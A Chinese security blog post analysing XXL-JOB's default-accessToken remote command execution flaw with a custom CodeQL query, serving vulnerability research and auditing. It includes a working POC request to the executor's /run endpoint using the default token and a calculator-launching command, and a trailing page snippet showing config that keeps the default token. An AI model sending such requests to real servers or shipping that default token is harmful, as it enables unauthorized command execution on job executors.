CodeQL分析XXL-JOB默认accessToken命令执行漏洞

CodeQL工具

CodeQL是基于2019 微软收购GitHub的时候开源的一个源代码分析引擎,分析引擎是白盒代码工具的核心,有了这个引擎之后,随着网上不断迭代的支持CodeQL的queries规则库,CodeQL也慢慢在源代码审计安全圈活跃起来,比如log4shell这个漏洞就是通过CodeQL发现的。

CodeQL=Code Query Language 和SQL相似,分析引擎在分析完代码后会生成一个类似DB的文件夹Snapshot Database,里面的文件全是源代码和关系数据,接下来我们通过输入QL语句也就是queries规则可以查到XXL-JOB默认accessToken命令执行的漏洞点,然后对其进行分析。

图片

xxl-job默认accessToken绕过原理

accessToken 本来是为了修复2020年xxl-job 执行器executor RESTful API 未授权访问 RCE 漏洞,为了防止其未授权添加了accessToken校验,但是很多人在使用该框架的时候并未修改其默认的值xxl.job.accessToken=default_token,与之前shiro的默认key泄漏导致的RCE原理很相似。

图片

POC:

POST /run HTTP/1.1Host: 192.168.50.92:9999Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeXXL-JOB-ACCESS-TOKEN: default_tokenContent-Type: application/jsonContent-Length: 370
{  "jobId": 1,  "executorHandler": "demoJobHandler",  "executorParams": "demoJobHandler",  "executorBlockStrategy": "COVER_EARLY",  "executorTimeout": 0,  "logId": 1,  "logDateTime": 1586629003729,  "glueType": "GLUE_POWERSHELL",  "glueSource": "open -a Calculator",  "glueUpdatetime": 1586699003758,  "broadcastIndex": 0,  "broadcastTotal": 0}

POC执行结果:

图片

接下来笔者通过源代码分析该漏洞成因。

首先找到该程序的入口:

图片

找到该程序的入口

图片

通过上述代码,判断该处校验accessToken传入的XXL-JOB-ACCESS-TOKEN: default_token和配置文件中的xxl.job.accessToken=default_token是否一致,如果不一致,则返回FAIL_CODE。

按照相同逻辑就可以在代码中寻找配置文件读取函数和配置对比函数。

例如查找配置文件读取函数:

图片

查找该函数构造方法,使用了loder.getResourceAsStream(propertyFileName)函数读取配置文件:

图片

除此之外,笔者收集了常用的读取配置的函数:

  • this.getClass().getResourceAsStream("application.properties")

  • this.getClass().getClassLoader().getResourceAsStream("application.properties");

  • ClassLoader.getSystemResourceAsStream("application.properties");

  • new ClassPathResource("application.properties");

  • new BufferedInputStream(new FileInputStream("application.properties");

  • new FileInputStream("application.properties");

  • ClassLoader.getSystemResourceAsStream("application.properties");

  • ResourceBundle.getBundle("config/application");

下载QL官方库:https://github.com/github/codeql,可见官方库中自带的基础包。

图片

在上述目录中构建一个属于自己的目录Test在其中构造了一个简单的QL语句

import java
from MethodAccess ma, Method m where  m = ma.getMethod() and  m.getName().regexpMatch("equals|getResourceAsStream|getResourceAsStream|getSystemResourceAsStream|ClassPathResource|BufferedInputStream|FileInputStream|getSystemResourceAsStream|getBundle") and  not m.getDeclaringType().getName().matches("SecureUtil|WhiteListedClass")select ma, "Risky method " + m.getName()

上述语句使用简单的AST匹配模式检测危险函数的方法,匹配等式判断、配置读取等函数。

图片

然后通过查询结果找到读取配置的位置,即读取配置函数的定位。

图片

读取配置的属性包括addresses、accessToken、appname、addres、ip、port、logpath、logretentiondays等,如前文所述,accessToken身份绕过漏洞就是accessToken配置值和API请求的XXL-JOB-ACCESS-TOKEN一致通过的校验。

图片

通过equals 找到与上述参数相关的代码

位置1:

图片

位置2:

图片

找到上述方法的构造出POST或者GET请求方法,即文章开头的漏洞处。

图片

总结

  • CodeQL本质上和其他的代码审计工具没什么不同,都是通过规则来查询疑似有安全问题的代码,只是分析技术不同而已,且规则自由度大。

  • XXL-JOB默认accessToken绕过的原理就是配置没有做随机化生成处理。所有使用该XXL-JOB项目的默认值都是default_token,这导致了在默认配置下使用该token可以绕过授权认证功能。

  • CodeQL默认的规则应该检测不出该类型的漏洞的,通过自定义CodeQL规则也不能完全准确的检测出该类型的问题,只是能检测出大致的范围,其漏洞还是需要仔细分析。

  • 作者:ppwq@HLM

  • 2023年11月3日

    洞源实验室

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
xxl-job的配置执行器需要修改以下几个位置。首先,需要将调度中心地址修改为集群的地址,具体配置为: xxl.job.admin.addresses=http://ls.xxljob.***配置如下: xxl.job.accessToken=default_token 接着,需要指定执行器名称,每个服务都应该有不同的执行器名称,同一个服务的不同集群节点的执行器名称应该相同,配置如下: xxl.job.executor.appname=my-simple-executor 最后,将修改后的配置文件复制到项目中即可使用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [xxl-job配置及使用](https://blog.csdn.net/he_xin2009/article/details/124220797)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【分布式任务调度】(二)XXL-JOB执行器配置及定时任务的创建](https://blog.csdn.net/qq_38249409/article/details/127456979)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [xxl-job2.3.0集成nacos配置,注册中心](https://download.csdn.net/download/weixin_44618291/85347103)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值